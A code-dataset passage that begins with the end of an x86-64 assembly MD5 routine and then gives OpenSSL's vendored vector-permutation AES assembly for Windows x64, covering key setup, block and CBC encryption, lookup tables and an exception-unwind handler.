II r8d,r9d,edx,ecx,0ffeff47dh,40,15 ; 54
II ecx,r8d,r9d,edx,085845dd1h,4,21 ; 55
II edx,ecx,r8d,r9d,06fa87e4fh,32,6 ; 56
II r9d,edx,ecx,r8d,0fe2ce6e0h,60,10 ; 57
II r8d,r9d,edx,ecx,0a3014314h,24,15 ; 58
II ecx,r8d,r9d,edx,04e0811a1h,52,21 ; 59
II edx,ecx,r8d,r9d,0f7537e82h,16,6 ; 60
II r9d,edx,ecx,r8d,0bd3af235h,44,10 ; 61
II r8d,r9d,edx,ecx,02ad7d2bbh,8,15 ; 62
II ecx,r8d,r9d,edx,0eb86d391h,36,21 ; 63
; end inner "loop"
mov eax,ecx ; flipped from original
add dword ptr [rsi],edx
cmp dword ptr [rsi],esi
mov rax,r15
add dword ptr [rax],ecx
cmp dword ptr [rsi],esi
mov rax,r12
add dword ptr [rax],r8d
cmp dword ptr [rsi],esi
mov rax,r13
add dword ptr [rax],r9d
inc r14d
cmp r14d,ebp
jl LoopStart
LoopExit:
add rsp,78h
pop rbx
pop rbp
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
Md5WithRol ENDP
END
|
||||
TheStack | 47bd6e08be82fafe3240fa067d0a000df5dfddf8 | Assemblycode:Assembly | {"size": 21045, "ext": "asm", "max_stars_repo_path": "code/vendor/openssl/asm/crypto/aes/vpaes-x86_64.asm", "max_stars_repo_name": "thorium-cfx/fivem", "max_stars_repo_stars_event_min_datetime": "2017-04-14T08:57:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T19:35:15.000Z", "max_issues_repo_path": "code/vendor/openssl/asm/crypto/aes/vpaes-x86_64.asm", "max_issues_repo_name": "thorium-cfx/fivem", "max_issues_repo_issues_event_min_datetime": "2017-04-21T14:18:36.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T21:20:48.000Z", "max_forks_repo_path": "code/vendor/openssl/asm/crypto/aes/vpaes-x86_64.asm", "max_forks_repo_name": "thorium-cfx/fivem", "max_forks_repo_forks_event_min_datetime": "2017-04-14T09:44:15.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T15:40:39.000Z"} | {"max_stars_count": 5411, "max_issues_count": 802, "max_forks_count": 2011, "avg_line_length": 17.9871794872, "max_line_length": 61, "alphanum_fraction": 0.7594678071} | OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
ALIGN 16
_vpaes_encrypt_core PROC PRIVATE
mov r9,rdx
mov r11,16
mov eax,DWORD PTR[240+rdx]
movdqa xmm1,xmm9
movdqa xmm2,XMMWORD PTR[$L$k_ipt]
pandn xmm1,xmm0
movdqu xmm5,XMMWORD PTR[r9]
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,208
movdqa xmm0,XMMWORD PTR[(($L$k_ipt+16))]
DB 102,15,56,0,193
pxor xmm2,xmm5
add r9,16
pxor xmm0,xmm2
lea r10,QWORD PTR[$L$k_mc_backward]
jmp $L$enc_entry
ALIGN 16
$L$enc_loop::
movdqa xmm4,xmm13
movdqa xmm0,xmm12
DB 102,15,56,0,226
DB 102,15,56,0,195
pxor xmm4,xmm5
movdqa xmm5,xmm15
pxor xmm0,xmm4
movdqa xmm1,XMMWORD PTR[((-64))+r10*1+r11]
DB 102,15,56,0,234
movdqa xmm4,XMMWORD PTR[r10*1+r11]
movdqa xmm2,xmm14
DB 102,15,56,0,211
movdqa xmm3,xmm0
pxor xmm2,xmm5
DB 102,15,56,0,193
add r9,16
pxor xmm0,xmm2
DB 102,15,56,0,220
add r11,16
pxor xmm3,xmm0
DB 102,15,56,0,193
and r11,030h
sub rax,1
pxor xmm0,xmm3
$L$enc_entry::
movdqa xmm1,xmm9
movdqa xmm5,xmm11
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,232
movdqa xmm3,xmm10
pxor xmm0,xmm1
DB 102,15,56,0,217
movdqa xmm4,xmm10
pxor xmm3,xmm5
DB 102,15,56,0,224
movdqa xmm2,xmm10
pxor xmm4,xmm5
DB 102,15,56,0,211
movdqa xmm3,xmm10
pxor xmm2,xmm0
DB 102,15,56,0,220
movdqu xmm5,XMMWORD PTR[r9]
pxor xmm3,xmm1
jnz $L$enc_loop
movdqa xmm4,XMMWORD PTR[((-96))+r10]
movdqa xmm0,XMMWORD PTR[((-80))+r10]
DB 102,15,56,0,226
pxor xmm4,xmm5
DB 102,15,56,0,195
movdqa xmm1,XMMWORD PTR[64+r10*1+r11]
pxor xmm0,xmm4
DB 102,15,56,0,193
DB 0F3h,0C3h ;repret
_vpaes_encrypt_core ENDP
ALIGN 16
_vpaes_decrypt_core PROC PRIVATE
mov r9,rdx
mov eax,DWORD PTR[240+rdx]
movdqa xmm1,xmm9
movdqa xmm2,XMMWORD PTR[$L$k_dipt]
pandn xmm1,xmm0
mov r11,rax
psrld xmm1,4
movdqu xmm5,XMMWORD PTR[r9]
shl r11,4
pand xmm0,xmm9
DB 102,15,56,0,208
movdqa xmm0,XMMWORD PTR[(($L$k_dipt+16))]
xor r11,030h
lea r10,QWORD PTR[$L$k_dsbd]
DB 102,15,56,0,193
and r11,030h
pxor xmm2,xmm5
movdqa xmm5,XMMWORD PTR[(($L$k_mc_forward+48))]
pxor xmm0,xmm2
add r9,16
add r11,r10
jmp $L$dec_entry
ALIGN 16
$L$dec_loop::
movdqa xmm4,XMMWORD PTR[((-32))+r10]
movdqa xmm1,XMMWORD PTR[((-16))+r10]
DB 102,15,56,0,226
DB 102,15,56,0,203
pxor xmm0,xmm4
movdqa xmm4,XMMWORD PTR[r10]
pxor xmm0,xmm1
movdqa xmm1,XMMWORD PTR[16+r10]
DB 102,15,56,0,226
DB 102,15,56,0,197
DB 102,15,56,0,203
pxor xmm0,xmm4
movdqa xmm4,XMMWORD PTR[32+r10]
pxor xmm0,xmm1
movdqa xmm1,XMMWORD PTR[48+r10]
DB 102,15,56,0,226
DB 102,15,56,0,197
DB 102,15,56,0,203
pxor xmm0,xmm4
movdqa xmm4,XMMWORD PTR[64+r10]
pxor xmm0,xmm1
movdqa xmm1,XMMWORD PTR[80+r10]
DB 102,15,56,0,226
DB 102,15,56,0,197
DB 102,15,56,0,203
pxor xmm0,xmm4
add r9,16
DB 102,15,58,15,237,12
pxor xmm0,xmm1
sub rax,1
$L$dec_entry::
movdqa xmm1,xmm9
pandn xmm1,xmm0
movdqa xmm2,xmm11
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,208
movdqa xmm3,xmm10
pxor xmm0,xmm1
DB 102,15,56,0,217
movdqa xmm4,xmm10
pxor xmm3,xmm2
DB 102,15,56,0,224
pxor xmm4,xmm2
movdqa xmm2,xmm10
DB 102,15,56,0,211
movdqa xmm3,xmm10
pxor xmm2,xmm0
DB 102,15,56,0,220
movdqu xmm0,XMMWORD PTR[r9]
pxor xmm3,xmm1
jnz $L$dec_loop
movdqa xmm4,XMMWORD PTR[96+r10]
DB 102,15,56,0,226
pxor xmm4,xmm0
movdqa xmm0,XMMWORD PTR[112+r10]
movdqa xmm2,XMMWORD PTR[((-352))+r11]
DB 102,15,56,0,195
pxor xmm0,xmm4
DB 102,15,56,0,194
DB 0F3h,0C3h ;repret
_vpaes_decrypt_core ENDP
ALIGN 16
_vpaes_schedule_core PROC PRIVATE
call _vpaes_preheat
movdqa xmm8,XMMWORD PTR[$L$k_rcon]
movdqu xmm0,XMMWORD PTR[rdi]
movdqa xmm3,xmm0
lea r11,QWORD PTR[$L$k_ipt]
call _vpaes_schedule_transform
movdqa xmm7,xmm0
lea r10,QWORD PTR[$L$k_sr]
test rcx,rcx
jnz $L$schedule_am_decrypting
movdqu XMMWORD PTR[rdx],xmm0
jmp $L$schedule_go
$L$schedule_am_decrypting::
movdqa xmm1,XMMWORD PTR[r10*1+r8]
DB 102,15,56,0,217
movdqu XMMWORD PTR[rdx],xmm3
xor r8,030h
$L$schedule_go::
cmp esi,192
ja $L$schedule_256
je $L$schedule_192
$L$schedule_128::
mov esi,10
$L$oop_schedule_128::
call _vpaes_schedule_round
dec rsi
jz $L$schedule_mangle_last
call _vpaes_schedule_mangle
jmp $L$oop_schedule_128
ALIGN 16
$L$schedule_192::
movdqu xmm0,XMMWORD PTR[8+rdi]
call _vpaes_schedule_transform
movdqa xmm6,xmm0
pxor xmm4,xmm4
movhlps xmm6,xmm4
mov esi,4
$L$oop_schedule_192::
call _vpaes_schedule_round
DB 102,15,58,15,198,8
call _vpaes_schedule_mangle
call _vpaes_schedule_192_smear
call _vpaes_schedule_mangle
call _vpaes_schedule_round
dec rsi
jz $L$schedule_mangle_last
call _vpaes_schedule_mangle
call _vpaes_schedule_192_smear
jmp $L$oop_schedule_192
ALIGN 16
$L$schedule_256::
movdqu xmm0,XMMWORD PTR[16+rdi]
call _vpaes_schedule_transform
mov esi,7
$L$oop_schedule_256::
call _vpaes_schedule_mangle
movdqa xmm6,xmm0
call _vpaes_schedule_round
dec rsi
jz $L$schedule_mangle_last
call _vpaes_schedule_mangle
pshufd xmm0,xmm0,0FFh
movdqa xmm5,xmm7
movdqa xmm7,xmm6
call _vpaes_schedule_low_round
movdqa xmm7,xmm5
jmp $L$oop_schedule_256
ALIGN 16
$L$schedule_mangle_last::
lea r11,QWORD PTR[$L$k_deskew]
test rcx,rcx
jnz $L$schedule_mangle_last_dec
movdqa xmm1,XMMWORD PTR[r10*1+r8]
DB 102,15,56,0,193
lea r11,QWORD PTR[$L$k_opt]
add rdx,32
$L$schedule_mangle_last_dec::
add rdx,-16
pxor xmm0,XMMWORD PTR[$L$k_s63]
call _vpaes_schedule_transform
movdqu XMMWORD PTR[rdx],xmm0
pxor xmm0,xmm0
pxor xmm1,xmm1
pxor xmm2,xmm2
pxor xmm3,xmm3
pxor xmm4,xmm4
pxor xmm5,xmm5
pxor xmm6,xmm6
pxor xmm7,xmm7
DB 0F3h,0C3h ;repret
_vpaes_schedule_core ENDP
ALIGN 16
_vpaes_schedule_192_smear PROC PRIVATE
pshufd xmm1,xmm6,080h
pshufd xmm0,xmm7,0FEh
pxor xmm6,xmm1
pxor xmm1,xmm1
pxor xmm6,xmm0
movdqa xmm0,xmm6
movhlps xmm6,xmm1
DB 0F3h,0C3h ;repret
_vpaes_schedule_192_smear ENDP
ALIGN 16
_vpaes_schedule_round PROC PRIVATE
pxor xmm1,xmm1
DB 102,65,15,58,15,200,15
DB 102,69,15,58,15,192,15
pxor xmm7,xmm1
pshufd xmm0,xmm0,0FFh
DB 102,15,58,15,192,1
_vpaes_schedule_low_round::
movdqa xmm1,xmm7
pslldq xmm7,4
pxor xmm7,xmm1
movdqa xmm1,xmm7
pslldq xmm7,8
pxor xmm7,xmm1
pxor xmm7,XMMWORD PTR[$L$k_s63]
movdqa xmm1,xmm9
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
movdqa xmm2,xmm11
DB 102,15,56,0,208
pxor xmm0,xmm1
movdqa xmm3,xmm10
DB 102,15,56,0,217
pxor xmm3,xmm2
movdqa xmm4,xmm10
DB 102,15,56,0,224
pxor xmm4,xmm2
movdqa xmm2,xmm10
DB 102,15,56,0,211
pxor xmm2,xmm0
movdqa xmm3,xmm10
DB 102,15,56,0,220
pxor xmm3,xmm1
movdqa xmm4,xmm13
DB 102,15,56,0,226
movdqa xmm0,xmm12
DB 102,15,56,0,195
pxor xmm0,xmm4
pxor xmm0,xmm7
movdqa xmm7,xmm0
DB 0F3h,0C3h ;repret
_vpaes_schedule_round ENDP
ALIGN 16
_vpaes_schedule_transform PROC PRIVATE
movdqa xmm1,xmm9
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
movdqa xmm2,XMMWORD PTR[r11]
DB 102,15,56,0,208
movdqa xmm0,XMMWORD PTR[16+r11]
DB 102,15,56,0,193
pxor xmm0,xmm2
DB 0F3h,0C3h ;repret
_vpaes_schedule_transform ENDP
ALIGN 16
_vpaes_schedule_mangle PROC PRIVATE
movdqa xmm4,xmm0
movdqa xmm5,XMMWORD PTR[$L$k_mc_forward]
test rcx,rcx
jnz $L$schedule_mangle_dec
add rdx,16
pxor xmm4,XMMWORD PTR[$L$k_s63]
DB 102,15,56,0,229
movdqa xmm3,xmm4
DB 102,15,56,0,229
pxor xmm3,xmm4
DB 102,15,56,0,229
pxor xmm3,xmm4
jmp $L$schedule_mangle_both
ALIGN 16
$L$schedule_mangle_dec::
lea r11,QWORD PTR[$L$k_dksd]
movdqa xmm1,xmm9
pandn xmm1,xmm4
psrld xmm1,4
pand xmm4,xmm9
movdqa xmm2,XMMWORD PTR[r11]
DB 102,15,56,0,212
movdqa xmm3,XMMWORD PTR[16+r11]
DB 102,15,56,0,217
pxor xmm3,xmm2
DB 102,15,56,0,221
movdqa xmm2,XMMWORD PTR[32+r11]
DB 102,15,56,0,212
pxor xmm2,xmm3
movdqa xmm3,XMMWORD PTR[48+r11]
DB 102,15,56,0,217
pxor xmm3,xmm2
DB 102,15,56,0,221
movdqa xmm2,XMMWORD PTR[64+r11]
DB 102,15,56,0,212
pxor xmm2,xmm3
movdqa xmm3,XMMWORD PTR[80+r11]
DB 102,15,56,0,217
pxor xmm3,xmm2
DB 102,15,56,0,221
movdqa xmm2,XMMWORD PTR[96+r11]
DB 102,15,56,0,212
pxor xmm2,xmm3
movdqa xmm3,XMMWORD PTR[112+r11]
DB 102,15,56,0,217
pxor xmm3,xmm2
add rdx,-16
$L$schedule_mangle_both::
movdqa xmm1,XMMWORD PTR[r10*1+r8]
DB 102,15,56,0,217
add r8,-16
and r8,030h
movdqu XMMWORD PTR[rdx],xmm3
DB 0F3h,0C3h ;repret
_vpaes_schedule_mangle ENDP
PUBLIC vpaes_set_encrypt_key
ALIGN 16
vpaes_set_encrypt_key PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_vpaes_set_encrypt_key::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,QWORD PTR[((-184))+rsp]
movaps XMMWORD PTR[16+rsp],xmm6
movaps XMMWORD PTR[32+rsp],xmm7
movaps XMMWORD PTR[48+rsp],xmm8
movaps XMMWORD PTR[64+rsp],xmm9
movaps XMMWORD PTR[80+rsp],xmm10
movaps XMMWORD PTR[96+rsp],xmm11
movaps XMMWORD PTR[112+rsp],xmm12
movaps XMMWORD PTR[128+rsp],xmm13
movaps XMMWORD PTR[144+rsp],xmm14
movaps XMMWORD PTR[160+rsp],xmm15
$L$enc_key_body::
mov eax,esi
shr eax,5
add eax,5
mov DWORD PTR[240+rdx],eax
mov ecx,0
mov r8d,030h
call _vpaes_schedule_core
movaps xmm6,XMMWORD PTR[16+rsp]
movaps xmm7,XMMWORD PTR[32+rsp]
movaps xmm8,XMMWORD PTR[48+rsp]
movaps xmm9,XMMWORD PTR[64+rsp]
movaps xmm10,XMMWORD PTR[80+rsp]
movaps xmm11,XMMWORD PTR[96+rsp]
movaps xmm12,XMMWORD PTR[112+rsp]
movaps xmm13,XMMWORD PTR[128+rsp]
movaps xmm14,XMMWORD PTR[144+rsp]
movaps xmm15,XMMWORD PTR[160+rsp]
lea rsp,QWORD PTR[184+rsp]
$L$enc_key_epilogue::
xor eax,eax
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_vpaes_set_encrypt_key::
vpaes_set_encrypt_key ENDP
PUBLIC vpaes_set_decrypt_key
ALIGN 16
vpaes_set_decrypt_key PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_vpaes_set_decrypt_key::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,QWORD PTR[((-184))+rsp]
movaps XMMWORD PTR[16+rsp],xmm6
movaps XMMWORD PTR[32+rsp],xmm7
movaps XMMWORD PTR[48+rsp],xmm8
movaps XMMWORD PTR[64+rsp],xmm9
movaps XMMWORD PTR[80+rsp],xmm10
movaps XMMWORD PTR[96+rsp],xmm11
movaps XMMWORD PTR[112+rsp],xmm12
movaps XMMWORD PTR[128+rsp],xmm13
movaps XMMWORD PTR[144+rsp],xmm14
movaps XMMWORD PTR[160+rsp],xmm15
$L$dec_key_body::
mov eax,esi
shr eax,5
add eax,5
mov DWORD PTR[240+rdx],eax
shl eax,4
lea rdx,QWORD PTR[16+rax*1+rdx]
mov ecx,1
mov r8d,esi
shr r8d,1
and r8d,32
xor r8d,32
call _vpaes_schedule_core
movaps xmm6,XMMWORD PTR[16+rsp]
movaps xmm7,XMMWORD PTR[32+rsp]
movaps xmm8,XMMWORD PTR[48+rsp]
movaps xmm9,XMMWORD PTR[64+rsp]
movaps xmm10,XMMWORD PTR[80+rsp]
movaps xmm11,XMMWORD PTR[96+rsp]
movaps xmm12,XMMWORD PTR[112+rsp]
movaps xmm13,XMMWORD PTR[128+rsp]
movaps xmm14,XMMWORD PTR[144+rsp]
movaps xmm15,XMMWORD PTR[160+rsp]
lea rsp,QWORD PTR[184+rsp]
$L$dec_key_epilogue::
xor eax,eax
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_vpaes_set_decrypt_key::
vpaes_set_decrypt_key ENDP
PUBLIC vpaes_encrypt
ALIGN 16
vpaes_encrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_vpaes_encrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,QWORD PTR[((-184))+rsp]
movaps XMMWORD PTR[16+rsp],xmm6
movaps XMMWORD PTR[32+rsp],xmm7
movaps XMMWORD PTR[48+rsp],xmm8
movaps XMMWORD PTR[64+rsp],xmm9
movaps XMMWORD PTR[80+rsp],xmm10
movaps XMMWORD PTR[96+rsp],xmm11
movaps XMMWORD PTR[112+rsp],xmm12
movaps XMMWORD PTR[128+rsp],xmm13
movaps XMMWORD PTR[144+rsp],xmm14
movaps XMMWORD PTR[160+rsp],xmm15
$L$enc_body::
movdqu xmm0,XMMWORD PTR[rdi]
call _vpaes_preheat
call _vpaes_encrypt_core
movdqu XMMWORD PTR[rsi],xmm0
movaps xmm6,XMMWORD PTR[16+rsp]
movaps xmm7,XMMWORD PTR[32+rsp]
movaps xmm8,XMMWORD PTR[48+rsp]
movaps xmm9,XMMWORD PTR[64+rsp]
movaps xmm10,XMMWORD PTR[80+rsp]
movaps xmm11,XMMWORD PTR[96+rsp]
movaps xmm12,XMMWORD PTR[112+rsp]
movaps xmm13,XMMWORD PTR[128+rsp]
movaps xmm14,XMMWORD PTR[144+rsp]
movaps xmm15,XMMWORD PTR[160+rsp]
lea rsp,QWORD PTR[184+rsp]
$L$enc_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_vpaes_encrypt::
vpaes_encrypt ENDP
PUBLIC vpaes_decrypt
ALIGN 16
vpaes_decrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_vpaes_decrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,QWORD PTR[((-184))+rsp]
movaps XMMWORD PTR[16+rsp],xmm6
movaps XMMWORD PTR[32+rsp],xmm7
movaps XMMWORD PTR[48+rsp],xmm8
movaps XMMWORD PTR[64+rsp],xmm9
movaps XMMWORD PTR[80+rsp],xmm10
movaps XMMWORD PTR[96+rsp],xmm11
movaps XMMWORD PTR[112+rsp],xmm12
movaps XMMWORD PTR[128+rsp],xmm13
movaps XMMWORD PTR[144+rsp],xmm14
movaps XMMWORD PTR[160+rsp],xmm15
$L$dec_body::
movdqu xmm0,XMMWORD PTR[rdi]
call _vpaes_preheat
call _vpaes_decrypt_core
movdqu XMMWORD PTR[rsi],xmm0
movaps xmm6,XMMWORD PTR[16+rsp]
movaps xmm7,XMMWORD PTR[32+rsp]
movaps xmm8,XMMWORD PTR[48+rsp]
movaps xmm9,XMMWORD PTR[64+rsp]
movaps xmm10,XMMWORD PTR[80+rsp]
movaps xmm11,XMMWORD PTR[96+rsp]
movaps xmm12,XMMWORD PTR[112+rsp]
movaps xmm13,XMMWORD PTR[128+rsp]
movaps xmm14,XMMWORD PTR[144+rsp]
movaps xmm15,XMMWORD PTR[160+rsp]
lea rsp,QWORD PTR[184+rsp]
$L$dec_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_vpaes_decrypt::
vpaes_decrypt ENDP
PUBLIC vpaes_cbc_encrypt
ALIGN 16
vpaes_cbc_encrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_vpaes_cbc_encrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
xchg rdx,rcx
sub rcx,16
jc $L$cbc_abort
lea rsp,QWORD PTR[((-184))+rsp]
movaps XMMWORD PTR[16+rsp],xmm6
movaps XMMWORD PTR[32+rsp],xmm7
movaps XMMWORD PTR[48+rsp],xmm8
movaps XMMWORD PTR[64+rsp],xmm9
movaps XMMWORD PTR[80+rsp],xmm10
movaps XMMWORD PTR[96+rsp],xmm11
movaps XMMWORD PTR[112+rsp],xmm12
movaps XMMWORD PTR[128+rsp],xmm13
movaps XMMWORD PTR[144+rsp],xmm14
movaps XMMWORD PTR[160+rsp],xmm15
$L$cbc_body::
movdqu xmm6,XMMWORD PTR[r8]
sub rsi,rdi
call _vpaes_preheat
cmp r9d,0
je $L$cbc_dec_loop
jmp $L$cbc_enc_loop
ALIGN 16
$L$cbc_enc_loop::
movdqu xmm0,XMMWORD PTR[rdi]
pxor xmm0,xmm6
call _vpaes_encrypt_core
movdqa xmm6,xmm0
movdqu XMMWORD PTR[rdi*1+rsi],xmm0
lea rdi,QWORD PTR[16+rdi]
sub rcx,16
jnc $L$cbc_enc_loop
jmp $L$cbc_done
ALIGN 16
$L$cbc_dec_loop::
movdqu xmm0,XMMWORD PTR[rdi]
movdqa xmm7,xmm0
call _vpaes_decrypt_core
pxor xmm0,xmm6
movdqa xmm6,xmm7
movdqu XMMWORD PTR[rdi*1+rsi],xmm0
lea rdi,QWORD PTR[16+rdi]
sub rcx,16
jnc $L$cbc_dec_loop
$L$cbc_done::
movdqu XMMWORD PTR[r8],xmm6
movaps xmm6,XMMWORD PTR[16+rsp]
movaps xmm7,XMMWORD PTR[32+rsp]
movaps xmm8,XMMWORD PTR[48+rsp]
movaps xmm9,XMMWORD PTR[64+rsp]
movaps xmm10,XMMWORD PTR[80+rsp]
movaps xmm11,XMMWORD PTR[96+rsp]
movaps xmm12,XMMWORD PTR[112+rsp]
movaps xmm13,XMMWORD PTR[128+rsp]
movaps xmm14,XMMWORD PTR[144+rsp]
movaps xmm15,XMMWORD PTR[160+rsp]
lea rsp,QWORD PTR[184+rsp]
$L$cbc_epilogue::
$L$cbc_abort::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_vpaes_cbc_encrypt::
vpaes_cbc_encrypt ENDP
ALIGN 16
_vpaes_preheat PROC PRIVATE
lea r10,QWORD PTR[$L$k_s0F]
movdqa xmm10,XMMWORD PTR[((-32))+r10]
movdqa xmm11,XMMWORD PTR[((-16))+r10]
movdqa xmm9,XMMWORD PTR[r10]
movdqa xmm13,XMMWORD PTR[48+r10]
movdqa xmm12,XMMWORD PTR[64+r10]
movdqa xmm15,XMMWORD PTR[80+r10]
movdqa xmm14,XMMWORD PTR[96+r10]
DB 0F3h,0C3h ;repret
_vpaes_preheat ENDP
ALIGN 64
_vpaes_consts::
$L$k_inv::
DQ 00E05060F0D080180h,0040703090A0B0C02h
DQ 001040A060F0B0780h,0030D0E0C02050809h
$L$k_s0F::
DQ 00F0F0F0F0F0F0F0Fh,00F0F0F0F0F0F0F0Fh
$L$k_ipt::
DQ 0C2B2E8985A2A7000h,0CABAE09052227808h
DQ 04C01307D317C4D00h,0CD80B1FCB0FDCC81h
$L$k_sb1::
DQ 0B19BE18FCB503E00h,0A5DF7A6E142AF544h
DQ 03618D415FAE22300h,03BF7CCC10D2ED9EFh
$L$k_sb2::
DQ 0E27A93C60B712400h,05EB7E955BC982FCDh
DQ 069EB88400AE12900h,0C2A163C8AB82234Ah
$L$k_sbo::
DQ 0D0D26D176FBDC700h,015AABF7AC502A878h
DQ 0CFE474A55FBB6A00h,08E1E90D1412B35FAh
$L$k_mc_forward::
DQ 00407060500030201h,00C0F0E0D080B0A09h
DQ 0080B0A0904070605h,0000302010C0F0E0Dh
DQ 00C0F0E0D080B0A09h,00407060500030201h
DQ 0000302010C0F0E0Dh,0080B0A0904070605h
$L$k_mc_backward::
DQ 00605040702010003h,00E0D0C0F0A09080Bh
DQ 0020100030E0D0C0Fh,00A09080B06050407h
DQ 00E0D0C0F0A09080Bh,00605040702010003h
DQ 00A09080B06050407h,0020100030E0D0C0Fh
$L$k_sr::
DQ 00706050403020100h,00F0E0D0C0B0A0908h
DQ 0030E09040F0A0500h,00B06010C07020D08h
DQ 00F060D040B020900h,0070E050C030A0108h
DQ 00B0E0104070A0D00h,00306090C0F020508h
$L$k_rcon::
DQ 01F8391B9AF9DEEB6h,0702A98084D7C7D81h
$L$k_s63::
DQ 05B5B5B5B5B5B5B5Bh,05B5B5B5B5B5B5B5Bh
$L$k_opt::
DQ 0FF9F4929D6B66000h,0F7974121DEBE6808h
DQ 001EDBD5150BCEC00h,0E10D5DB1B05C0CE0h
$L$k_deskew::
DQ 007E4A34047A4E300h,01DFEB95A5DBEF91Ah
DQ 05F36B5DC83EA6900h,02841C2ABF49D1E77h
$L$k_dksd::
DQ 0FEB91A5DA3E44700h,00740E3A45A1DBEF9h
DQ 041C277F4B5368300h,05FDC69EAAB289D1Eh
$L$k_dksb::
DQ 09A4FCA1F8550D500h,003D653861CC94C99h
DQ 0115BEDA7B6FC4A00h,0D993256F7E3482C8h
$L$k_dkse::
DQ 0D5031CCA1FC9D600h,053859A4C994F5086h
DQ 0A23196054FDC7BE8h,0CD5EF96A20B31487h
$L$k_dks9::
DQ 0B6116FC87ED9A700h,04AED933482255BFCh
DQ 04576516227143300h,08BB89FACE9DAFDCEh
$L$k_dipt::
DQ 00F505B040B545F00h,0154A411E114E451Ah
DQ 086E383E660056500h,012771772F491F194h
$L$k_dsb9::
DQ 0851C03539A86D600h,0CAD51F504F994CC9h
DQ 0C03B1789ECD74900h,0725E2C9EB2FBA565h
$L$k_dsbd::
DQ 07D57CCDFE6B1A200h,0F56E9B13882A4439h
DQ 03CE2FAF724C6CB00h,02931180D15DEEFD3h
$L$k_dsbb::
DQ 0D022649296B44200h,0602646F6B0F2D404h
DQ 0C19498A6CD596700h,0F3FF0C3E3255AA6Bh
$L$k_dsbe::
DQ 046F2929626D4D000h,02242600464B4F6B0h
DQ 00C55A6CDFFAAC100h,09467F36B98593E32h
$L$k_dsbo::
DQ 01387EA537EF94000h,0C7AA6DB9D4943E2Dh
DQ 012D7560F93441D00h,0CA4B8159D8C58E9Ch
DB 86,101,99,116,111,114,32,80,101,114,109,117,116,97,116,105
DB 111,110,32,65,69,83,32,102,111,114,32,120,56,54,95,54
DB 52,47,83,83,83,69,51,44,32,77,105,107,101,32,72,97
DB 109,98,117,114,103,32,40,83,116,97,110,102,111,114,100,32
DB 85,110,105,118,101,114,115,105,116,121,41,0
ALIGN 64
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$in_prologue
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$in_prologue
lea rsi,QWORD PTR[16+rax]
lea rdi,QWORD PTR[512+r8]
mov ecx,20
DD 0a548f3fch
lea rax,QWORD PTR[184+rax]
$L$in_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
se_handler ENDP
.text$ ENDS
